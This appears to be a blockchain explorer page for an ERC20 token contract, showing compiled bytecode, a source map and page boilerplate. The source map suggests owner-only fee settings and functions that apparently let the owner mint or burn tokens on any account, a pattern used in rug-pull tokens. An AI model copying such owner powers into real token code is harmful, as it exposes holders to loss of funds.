915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b409086906111ce565b60405180910390a3610b50836000845b505050565b600061046983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d00565b600082610ba657506000610404565b6000610bb28385611334565b905082610bbf85836111fd565b146104695760405162461bcd60e51b815260040161059790611012565b6001600160a01b038316610c025760405162461bcd60e51b8152600401610597906110c9565b6001600160a01b038216610c285760405162461bcd60e51b815260040161059790610e88565b610c33838383610b50565b6001600160a01b03831660009081526020819052604090205481811015610c6c5760405162461bcd60e51b815260040161059790610fcc565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610ca39084906111e5565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ced91906111ce565b60405180910390a36107ec848484610b50565b60008183610d215760405162461bcd60e51b81526004016105979190610e35565b506000610d2e84866111fd565b95945050505050565b80356001600160a01b03811681146104d457600080fd5b600060208284031215610d5f578081fd5b61046982610d37565b60008060408385031215610d7a578081fd5b610d8383610d37565b9150610d9160208401610d37565b90509250929050565b600080600060608486031215610dae578081fd5b610db784610d37565b9250610dc560208501610d37565b9150604084013590509250925092565b60008060408385031215610de7578182fd5b610df083610d37565b946020939093013593505050565b600060208284031215610e0f578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e6157858101830151858201604001528201610e45565b81811115610e725783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60ff91909116815260200190565b600082198211156111f8576111f86113a5565b500190565b60008261121857634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861161122f575061125a565b818704821115611241576112416113a5565b8086161561124e57918102915b9490941c938002611220565b94509492505050565b600061046960001960ff85168460008261127f57506001610469565b8161128c57506000610469565b81600181146112a257600281146112ac576112d9565b6001915050610469565b60ff8411156112bd576112bd6113a5565b6001841b9150848211156112d3576112d36113a5565b50610469565b5060208310610133831016604e8410600b841016171561130c575081810a83811115611307576113076113a5565b610469565b611319848484600161121d565b80860482111561132b5761132b6113a5565b02949350505050565b600081600019048311821515161561134e5761134e6113a5565b500290565b600082821015611365576113656113a5565b500390565b60028104600182168061137e57607f821691505b6020821081141561139f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220f5c1b75bc008a55b45a9f2043086f235eb8a8969dbf3973abcbacc99189507de64736f6c63430008000033

Deployed Bytecode Sourcemap

9394:1998:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3197:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4170:201;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;11020:79::-;;;;;;:::i;:::-;;:::i;:::-;;9520:24;;;:::i;:::-;;;;;;;:::i;3535:108::-;;;:::i;4385:295::-;;;;;;:::i;:::-;;:::i;3428:93::-;;;:::i;:::-;;;;;;;:::i;9551:24::-;;;:::i;4694:238::-;;;;;;:::i;:::-;;:::i;9582:20::-;;;:::i;10824:83::-;;;;;;:::i;:::-;;:::i;3657:127::-;;;;;;:::i;:::-;;:::i;1115:135::-;;;:::i;9467:19::-;;;:::i;:::-;;;;;;;:::i;10635:80::-;;;;;;:::i;:::-;;:::i;852:89::-;;;:::i;3311:104::-;;;:::i;10727:83::-;;;;;;:::i;:::-;;:::i;4946:436::-;;;;;;:::i;:::-;;:::i;9494:19::-;;;:::i;3798:193::-;;;;;;:::i;:::-;;:::i;11111:121::-;;;;;;:::i;:::-;;:::i;10921:84::-;;;;;;:::i;:::-;;:::i;4005:151::-;;;;;;:::i;:::-;;:::i;11245:121::-;;;;;;:::i;:::-;;:::i;1264:201::-;;;;;;:::i;:::-;;:::i;3197:100::-;3251:13;3284:5;3277:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3197:100;:::o;4170:201::-;4253:4;4270:13;4286:12;:10;:12::i;:::-;4270:28;;4309:32;4318:5;4325:7;4334:6;4309:8;:32::i;:::-;4359:4;4352:11;;;4170:201;;;;;:::o;11020:79::-;798:13;:11;:13::i;:::-;11079:4:::1;:12:::0;;-1:-1:-1;;;;;;11079:12:0::1;-1:-1:-1::0;;;;;11079:12:0;;;::::1;::::0;;;::::1;::::0;;11020:79::o;9520:24::-;;;;:::o;3535:108::-;3623:12;;3535:108;:::o;4385:295::-;4516:4;4533:15;4551:12;:10;:12::i;:::-;4533:30;;4574:38;4590:4;4596:7;4605:6;4574:15;:38::i;:::-;4623:27;4633:4;4639:2;4643:6;4623:9;:27::i;:::-;4668:4;4661:11;;;4385:295;;;;;;:::o;3428:93::-;3511:2;3428:93;:::o;9551:24::-;;;;:::o;4694:238::-;4782:4;4799:13;4815:12;:10;:12::i;:::-;4799:28;;4838:64;4847:5;4854:7;4891:10;4863:25;4873:5;4880:7;4863:9;:25::i;:::-;:38;;;;:::i;:::-;4838:8;:64::i;9582:20::-;;;;:::o;10824:83::-;798:13;:11;:13::i;:::-;10884:5:::1;:14:::0;10824:83::o;3657:127::-;-1:-1:-1;;;;;3758:18:0;;3731:7;3758:18;;;;;;;;;;;3657:127;;;;:::o;1115:135::-;1171:71;1198:42;1171:18;:71::i;:::-;1115:135::o;9467:19::-;;;-1:-1:-1;;;;;9467:19:0;;:::o;10635:80::-;798:13;:11;:13::i;:::-;10695:4:::1;:12:::0;;-1:-1:-1;;;;;;10695:12:0::1;-1:-1:-1::0;;;;;10695:12:0;;;::::1;::::0;;;::::1;::::0;;10635:80::o;852:89::-;926:6;;-1:-1:-1;;;;;926:6:0;852:89;:::o;3311:104::-;3367:13;3400:7;3393:14;;;;;:::i;10727:83::-;798:13;:11;:13::i;:::-;10787:5:::1;:14:::0;10727:83::o;4946:436::-;5039:4;5056:13;5072:12;:10;:12::i;:::-;5056:28;;5095:24;5122:25;5132:5;5139:7;5122:9;:25::i;:::-;5095:52;;5186:15;5166:16;:35;;5158:85;;;;-1:-1:-1;;;5158:85:0;;;;;;;:::i;:::-;;;;;;;;;5279:60;5288:5;5295:7;5323:15;5304:16;:34;5279:8;:60::i;:::-;-1:-1:-1;5370:4:0;;4946:436;-1:-1:-1;;;;4946:436:0:o;9494:19::-;;;-1:-1:-1;;;;;9494:19:0;;:::o;3798:193::-;3877:4;3894:13;3910:12;:10;:12::i;:::-;3894:28;;3933;3943:5;3950:2;3954:6;3933:9;:28::i;11111:121::-;798:13;:11;:13::i;:::-;11184:40:::1;11190:7;11213:10;:8;:10::i;:::-;11207:16;::::0;:2:::1;:16;:::i;:::-;11199:24;::::0;:6;:24:::1;:::i;:::-;11184:5;:40::i;:::-;11111:121:::0;;:::o;10921:84::-;798:13;:11;:13::i;:::-;10983:5:::1;:13:::0;10921:84::o;4005:151::-;-1:-1:-1;;;;;4121:18:0;;;4094:7;4121:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4005:151::o;11245:121::-;798:13;:11;:13::i;:::-;11318:40:::1;11324:7;11347:10;:8;:10::i;:::-;11341:16;::::0;:2:::1;:16;:::i;:::-;11333:24;::::0;:6;:24:::1;:::i;:::-;11318:5;:40::i;1264:201::-:0;798:13;:11;:13::i;:::-;-1:-1:-1;;;;;1353:22:0;::::1;1345:73;;;;-1:-1:-1::0;;;1345:73:0::1;;;;;;;:::i;:::-;1429:28;1448:8;1429:18;:28::i;:::-;1264:201:::0;:::o;273:98::-;353:10;273:98;:::o;7107:380::-;-1:-1:-1;;;;;7243:19:0;;7235:68;;;;-1:-1:-1;;;7235:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7322:21:0;;7314:68;;;;-1:-1:-1;;;7314:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7395:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7447:32;;;;;7425:6;;7447:32;:::i;:::-;;;;;;;;7107:380;;;:::o;956:145::-;1043:12;:10;:12::i;:::-;-1:-1:-1;;;;;1032:23:0;:7;:5;:7::i;:::-;-1:-1:-1;;;;;1032:23:0;;1024:68;;;;-1:-1:-1;;;1024:68:0;;;;;;;:::i;7501:453::-;7636:24;7663:25;7673:5;7680:7;7663:9;:25::i;:::-;7636:52;;-1:-1:-1;;7703:16:0;:37;7699:248;;7785:6;7765:16;:26;;7757:68;;;;-1:-1:-1;;;7757:68:0;;;;;;;:::i;:::-;7869:51;7878:5;7885:7;7913:6;7894:16;:25;7869:8;:51::i;:::-;7501:453;;;;:::o;9836:787::-;9969:9;9981:16;:6;9992:4;9981:10;:16::i;:::-;10021:4;;9969:28;;-1:-1:-1;;;;;;10011:14:0;;;10021:4;;10011:14;10008:608;;;10065:4;;10077:5;;10041:43;;10057:6;;-1:-1:-1;;;;;10065:4:0;;;;10071:12;;:1;;:5;:12::i;:::-;10041:15;:43::i;:::-;10099:53;10115:6;10123:9;10134:17;10145:5;;10140:4;:10;;;;:::i;:::-;10134:1;;:5;:17::i;10099:53::-;10008:608;;;10185:4;;-1:-1:-1;;;;;10172:17:0;;;10185:4;;10172:17;10169:447;;;10229:4;;10241:5;;10205:43;;10221:6;;-1:-1:-1;;;;;10229:4:0;;;;10235:12;;:1;;:5;:12::i;10205:43::-;10263:53;10279:6;10287:9;10298:17;10309:5;;10304:4;:10;;;;:::i;10169:447::-;10337:4;;-1:-1:-1;;;;;10337:4:0;:18;;;;10336:43;;-1:-1:-1;10374:4:0;;-1:-1:-1;;;;;10361:17:0;;;10374:4;;10361:17;;10336:43;:63;;;;-1:-1:-1;10394:4:0;;-1:-1:-1;;;;;10384:14:0;;;10394:4;;10384:14;;10336:63;10333:283;;;10439:4;;10451:5;;10415:43;;10431:6;;-1:-1:-1;;;;;10439:4:0;;;;10445:12;;:1;;:5;:12::i;10415:43::-;10473:53;10489:6;10497:9;10508:17;10519:5;;10514:4;:10;;;;:::i;10333:283::-;10557:47;10573:6;10581:9;10592:11;:1;10598:4;10592:5;:11::i;1479:191::-;1572:6;;;-1:-1:-1;;;;;1589:17:0;;;-1:-1:-1;;;;;;1589:17:0;;;;;;;1622:40;;1572:6;;;1589:17;1572:6;;1622:40;;1553:16;;1622:40;1479:191;;:::o;6081:399::-;-1:-1:-1;;;;;6165:21:0;;6157:65;;;;-1:-1:-1;;;6157:65:0;;;;;;;:::i;:::-;6235:49;6264:1;6268:7;6277:6;6235:20;:49::i;:::-;6313:6;6297:12;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;6330:18:0;;:9;:18;;;;;;;;;;:28;;6352:6;;6330:9;:28;;6352:6;;6330:28;:::i;:::-;;;;-1:-1:-1;;6374:37:0;;-1:-1:-1;;;;;6374:37:0;;;6391:1;;6374:37;;;;6404:6;;6374:37;:::i;:::-;;;;;;;;6424:48;6452:1;6456:7;6465:6;6424:19;:48::i;6494:591::-;-1:-1:-1;;;;;6578:21:0;;6570:67;;;;-1:-1:-1;;;6570:67:0;;;;;;;:::i;:::-;6650:49;6671:7;6688:1;6692:6;6650:20;:49::i;:::-;-1:-1:-1;;;;;6737:18:0;;6712:22;6737:18;;;;;;;;;;;6774:24;;;;6766:71;;;;-1:-1:-1;;;6766:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6873:18:0;;:9;:18;;;;;;;;;;6894:23;;;6873:44;;6939:12;:22;;6911:6;;6873:9;6939:22;;6911:6;;6939:22;:::i;:::-;;;;-1:-1:-1;;6979:37:0;;7005:1;;-1:-1:-1;;;;;6979:37:0;;;;;;;7009:6;;6979:37;:::i;:::-;;;;;;;;7029:48;7049:7;7066:1;7070:6;7029:48;6494:591;;;:::o;9062:132::-;9120:7;9147:39;9151:1;9154;9147:39;;;;;;;;;;;;;;;;;:3;:39::i;8810:246::-;8868:7;8892:6;8888:47;;-1:-1:-1;8922:1:0;8915:8;;8888:47;8945:9;8957:5;8961:1;8957;:5;:::i;:::-;8945:17;-1:-1:-1;8990:1:0;8981:5;8985:1;8945:17;8981:5;:::i;:::-;:10;8973:56;;;;-1:-1:-1;;;8973:56:0;;;;;;;:::i;5396:671::-;-1:-1:-1;;;;;5527:18:0;;5519:68;;;;-1:-1:-1;;;5519:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5606:16:0;;5598:64;;;;-1:-1:-1;;;5598:64:0;;;;;;;:::i;:::-;5675:38;5696:4;5702:2;5706:6;5675:20;:38::i;:::-;-1:-1:-1;;;;;5748:15:0;;5726:19;5748:15;;;;;;;;;;;5782:21;;;;5774:72;;;;-1:-1:-1;;;5774:72:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;5882:15:0;;;:9;:15;;;;;;;;;;;5900:20;;;5882:38;;5942:13;;;;;;;;:23;;5914:6;;5882:9;5942:23;;5914:6;;5942:23;:::i;:::-;;;;;;;;5998:2;-1:-1:-1;;;;;5983:26:0;5992:4;-1:-1:-1;;;;;5983:26:0;;6002:6;5983:26;;;;;;:::i;:::-;;;;;;;;6022:37;6042:4;6048:2;6052:6;6022:19;:37::i;9200:189::-;9286:7;9321:12;9314:5;9306:28;;;;-1:-1:-1;;;9306:28:0;;;;;;;;:::i;:::-;-1:-1:-1;9345:9:0;9357:5;9361:1;9357;:5;:::i;:::-;9345:17;9200:189;-1:-1:-1;;;;;9200:189:0:o;14:175:1:-;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:198;;306:2;294:9;285:7;281:23;277:32;274:2;;;327:6;319;312:22;274:2;355:31;376:9;355:31;:::i;397:274::-;;;526:2;514:9;505:7;501:23;497:32;494:2;;;547:6;539;532:22;494:2;575:31;596:9;575:31;:::i;:::-;565:41;;625:40;661:2;650:9;646:18;625:40;:::i;:::-;615:50;;484:187;;;;;:::o;676:342::-;;;;822:2;810:9;801:7;797:23;793:32;790:2;;;843:6;835;828:22;790:2;871:31;892:9;871:31;:::i;:::-;861:41;;921:40;957:2;946:9;942:18;921:40;:::i;:::-;911:50;;1008:2;997:9;993:18;980:32;970:42;;780:238;;;;;:::o;1023:266::-;;;1152:2;1140:9;1131:7;1127:23;1123:32;1120:2;;;1173:6;1165;1158:22;1120:2;1201:31;1222:9;1201:31;:::i;:::-;1191:41;1279:2;1264:18;;;;1251:32;;-1:-1:-1;;;1110:179:1:o;1294:190::-;;1406:2;1394:9;1385:7;1381:23;1377:32;1374:2;;;1427:6;1419;1412:22;1374:2;-1:-1:-1;1455:23:1;;1364:120;-1:-1:-1;1364:120:1:o;1489:203::-;-1:-1:-1;;;;;1653:32:1;;;;1635:51;;1623:2;1608:18;;1590:102::o;1697:187::-;1862:14;;1855:22;1837:41;;1825:2;1810:18;;1792:92::o;1889:603::-;;2030:2;2059;2048:9;2041:21;2091:6;2085:13;2134:6;2129:2;2118:9;2114:18;2107:34;2159:4;2172:140;2186:6;2183:1;2180:13;2172:140;;;2281:14;;;2277:23;;2271:30;2247:17;;;2266:2;2243:26;2236:66;2201:10;;2172:140;;;2330:6;2327:1;2324:13;2321:2;;;2400:4;2395:2;2386:6;2375:9;2371:22;2367:31;2360:45;2321:2;-1:-1:-1;2476:2:1;2455:15;-1:-1:-1;;2451:29:1;2436:45;;;;2483:2;2432:54;;2010:482;-1:-1:-1;;;2010:482:1:o;2497:399::-;2699:2;2681:21;;;2738:2;2718:18;;;2711:30;2777:34;2772:2;2757:18;;2750:62;-1:-1:-1;;;2843:2:1;2828:18;;2821:33;2886:3;2871:19;;2671:225::o;2901:398::-;3103:2;3085:21;;;3142:2;3122:18;;;3115:30;3181:34;3176:2;3161:18;;3154:62;-1:-1:-1;;;3247:2:1;3232:18;;3225:32;3289:3;3274:19;;3075:224::o;3304:402::-;3506:2;3488:21;;;3545:2;3525:18;;;3518:30;3584:34;3579:2;3564:18;;3557:62;-1:-1:-1;;;3650:2:1;3635:18;;3628:36;3696:3;3681:19;;3478:228::o;3711:398::-;3913:2;3895:21;;;3952:2;3932:18;;;3925:30;3991:34;3986:2;3971:18;;3964:62;-1:-1:-1;;;4057:2:1;4042:18;;4035:32;4099:3;4084:19;;3885:224::o;4114:353::-;4316:2;4298:21;;;4355:2;4335:18;;;4328:30;4394:31;4389:2;4374:18;;4367:59;4458:2;4443:18;;4288:179::o;4472:402::-;4674:2;4656:21;;;4713:2;4693:18;;;4686:30;4752:34;4747:2;4732:18;;4725:62;-1:-1:-1;;;4818:2:1;4803:18;;4796:36;4864:3;4849:19;;4646:228::o;4879:397::-;5081:2;5063:21;;;5120:2;5100:18;;;5093:30;5159:34;5154:2;5139:18;;5132:62;-1:-1:-1;;;5225:2:1;5210:18;;5203:31;5266:3;5251:19;;5053:223::o;5281:356::-;5483:2;5465:21;;;5502:18;;;5495:30;5561:34;5556:2;5541:18;;5534:62;5628:2;5613:18;;5455:182::o;5642:397::-;5844:2;5826:21;;;5883:2;5863:18;;;5856:30;5922:34;5917:2;5902:18;;5895:62;-1:-1:-1;;;5988:2:1;5973:18;;5966:31;6029:3;6014:19;;5816:223::o;6044:401::-;6246:2;6228:21;;;6285:2;6265:18;;;6258:30;6324:34;6319:2;6304:18;;6297:62;-1:-1:-1;;;6390:2:1;6375:18;;6368:35;6435:3;6420:19;;6218:227::o;6450:400::-;6652:2;6634:21;;;6691:2;6671:18;;;6664:30;6730:34;6725:2;6710:18;;6703:62;-1:-1:-1;;;6796:2:1;6781:18;;6774:34;6840:3;6825:19;;6624:226::o;6855:401::-;7057:2;7039:21;;;7096:2;7076:18;;;7069:30;7135:34;7130:2;7115:18;;7108:62;-1:-1:-1;;;7201:2:1;7186:18;;7179:35;7246:3;7231:19;;7029:227::o;7261:355::-;7463:2;7445:21;;;7502:2;7482:18;;;7475:30;7541:33;7536:2;7521:18;;7514:61;7607:2;7592:18;;7435:181::o;7621:177::-;7767:25;;;7755:2;7740:18;;7722:76::o;7803:184::-;7975:4;7963:17;;;;7945:36;;7933:2;7918:18;;7900:87::o;7992:128::-;;8063:1;8059:6;8056:1;8053:13;8050:2;;;8069:18;;:::i;:::-;-1:-1:-1;8105:9:1;;8040:80::o;8125:217::-;;8191:1;8181:2;;-1:-1:-1;;;8216:31:1;;8270:4;8267:1;8260:15;8298:4;8223:1;8288:15;8181:2;-1:-1:-1;8327:9:1;;8171:171::o;8347:453::-;8443:6;8466:5;8480:314;8529:1;8566:2;8556:8;8553:16;8543:2;;8573:5;;;8543:2;8614:4;8609:3;8605:14;8599:4;8596:24;8593:2;;;8623:18;;:::i;:::-;8673:2;8663:8;8659:17;8656:2;;;8688:16;;;;8656:2;8767:17;;;;;8727:15;;8480:314;;;8424:376;;;;;;;:::o;8805:148::-;;8892:55;-1:-1:-1;;8933:4:1;8919:19;;8913:4;8958:922;9042:8;9032:2;;-1:-1:-1;9083:1:1;9097:5;;9032:2;9131:4;9121:2;;-1:-1:-1;9168:1:1;9182:5;;9121:2;9213:4;9231:1;9226:59;;;;9299:1;9294:183;;;;9206:271;;9226:59;9256:1;9247:10;;9270:5;;;9294:183;9331:3;9321:8;9318:17;9315:2;;;9338:18;;:::i;:::-;9394:1;9384:8;9380:16;9371:25;;9422:3;9415:5;9412:14;9409:2;;;9429:18;;:::i;:::-;9462:5;;;9206:271;;9561:2;9551:8;9548:16;9542:3;9536:4;9533:13;9529:36;9523:2;9513:8;9510:16;9505:2;9499:4;9496:12;9492:35;9489:77;9486:2;;;-1:-1:-1;9598:19:1;;;9633:14;;;9630:2;;;9650:18;;:::i;:::-;9683:5;;9486:2;9730:42;9768:3;9758:8;9752:4;9749:1;9730:42;:::i;:::-;9805:6;9800:3;9796:16;9787:7;9784:29;9781:2;;;9816:18;;:::i;:::-;9854:20;;9022:858;-1:-1:-1;;;;9022:858:1:o;9885:168::-;;9991:1;9987;9983:6;9979:14;9976:1;9973:21;9968:1;9961:9;9954:17;9950:45;9947:2;;;9998:18;;:::i;:::-;-1:-1:-1;10038:9:1;;9937:116::o;10058:125::-;;10126:1;10123;10120:8;10117:2;;;10131:18;;:::i;:::-;-1:-1:-1;10168:9:1;;10107:76::o;10188:380::-;10273:1;10263:12;;10320:1;10310:12;;;10331:2;;10385:4;10377:6;10373:17;10363:27;;10331:2;10438;10430:6;10427:14;10407:18;10404:38;10401:2;;;10484:10;10479:3;10475:20;10472:1;10465:31;10519:4;10516:1;10509:15;10547:4;10544:1;10537:15;10401:2;;10243:325;;;:::o;10573:127::-;10634:10;10629:3;10625:20;10622:1;10615:31;10665:4;10662:1;10655:15;10689:4;10686:1;10679:15

Swarm Source

ipfs://f5c1b75bc008a55b45a9f2043086f235eb8a8969dbf3973abcbacc99189507de
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.